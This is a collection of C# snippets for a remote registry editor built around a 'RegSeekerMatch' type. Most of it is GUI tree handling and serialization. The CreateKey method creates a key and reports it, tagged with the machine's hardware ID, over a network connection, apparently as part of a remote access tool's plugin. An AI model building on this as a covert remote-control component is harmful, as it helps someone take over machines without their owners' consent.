private void AddRootKey(RegSeekerMatch match) { TreeNode node = CreateNode(match.Key, match.Key, match.Data); node.Nodes.Add(new TreeNode()); tvRegistryDirectory.Nodes.Add(node); }
public void AddKeyToTree(string rootKey, RegSeekerMatch match) { TreeNode parent = GetTreeNode(rootKey); tvRegistryDirectory.Invoke((MethodInvoker) delegate { TreeNode node = CreateNode(match.Key, match.Key, match.Data); if (match.HasSubKeys) { node.Nodes.Add(new TreeNode()); } parent.Nodes.Add(node); if (!parent.IsExpanded) { tvRegistryDirectory.SelectedNode = parent; tvRegistryDirectory.AfterExpand += this.specialCreateRegistryKey_AfterExpand; parent.Expand(); } else { tvRegistryDirectory.SelectedNode = node; tvRegistryDirectory.LabelEdit = true; node.BeginEdit(); } }); }
public void AddKeyToTree(string rootKey, RegSeekerMatch match) { TreeNode parent = GetTreeNode(rootKey); tvRegistryDirectory.Invoke((MethodInvoker) delegate { //This will execute in the form thread TreeNode node = CreateNode(match.Key, match.Key, match.Data); if (match.HasSubKeys) { node.Nodes.Add(new TreeNode()); } parent.Nodes.Add(node); if (!parent.IsExpanded) { tvRegistryDirectory.SelectedNode = parent; tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand); parent.Expand(); } else { tvRegistryDirectory.SelectedNode = node; tvRegistryDirectory.LabelEdit = true; node.BeginEdit(); } }); }
public void CreateKey(string ParentPath) { string errorMsg; string newKeyName = ""; try { RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg); var Match = new RegSeekerMatch { Key = newKeyName, Data = RegistryKeyHelper.GetDefaultValues(), HasSubKeys = false }; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "CreateKey"; msgpack.ForcePathObject("ParentPath").AsString = ParentPath; msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match)); Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { Packet.Error(ex.Message); } }
/// <summary> /// Reports created registry keys. /// </summary> /// <param name="parentPath">The registry key parent path.</param> /// <param name="match">The created registry key.</param> private void OnKeyCreated(string parentPath, RegSeekerMatch match) { SynchronizationContext.Post(t => { var handler = KeyCreated; handler?.Invoke(this, parentPath, (RegSeekerMatch)t); }, match); }
public static RegSeekerMatch DeSerializeMatch(byte[] bytes) { using (MemoryStream ms = new MemoryStream(bytes)) { RegSeekerMatch Match = Serializer.Deserialize <RegSeekerMatch>(ms); return(Match); } }
private void AddMatch(string key, RegValueData[] values, int subkeycount) { RegSeekerMatch match = new RegSeekerMatch { Key = key, Data = values, HasSubKeys = subkeycount > 0 }; matches.Add(match); }
public static byte[] Serialize(RegSeekerMatch Matche) { using (MemoryStream ms = new MemoryStream()) { Serializer.Serialize(ms, Matche); return(ms.ToArray()); } }
private TreeNode AddKeyToTree(TreeNode parent, RegSeekerMatch subKey) { TreeNode node = CreateNode(subKey.Key, subKey.Key, subKey.Data); parent.Nodes.Add(node); if (subKey.HasSubKeys) { node.Nodes.Add(new TreeNode()); } return(node); }
private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match) { TreeNode parent = GetTreeNode(rootKey); TreeNode node = AddKeyToTree(parent, match); node.EnsureVisible(); tvRegistryDirectory.SelectedNode = node; node.Expand(); tvRegistryDirectory.LabelEdit = true; node.BeginEdit(); }
public void CreateNewKey(string rootKey, RegSeekerMatch match) { TreeNode parent = GetTreeNode(rootKey); tvRegistryDirectory.Invoke((MethodInvoker) delegate { TreeNode node = AddKeyToTree(parent, match); node.EnsureVisible(); tvRegistryDirectory.SelectedNode = node; node.Expand(); tvRegistryDirectory.LabelEdit = true; node.BeginEdit(); }); }
public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null) : this(new RegSeekerMatch[] { match }, rootKey) { }
private void OnKeyCreatedEventHandler(RegistryEditorAdapterHandler adapterHandler, string parentPath, RegSeekerMatch match) { TreeNode parent = GetTreeNode(parentPath); TreeNode node = AddKeyToTree(parent, match); node.EnsureVisible(); tvRegistryDirectory.SelectedNode = node; node.Expand(); tvRegistryDirectory.LabelEdit = true; node.BeginEdit(); }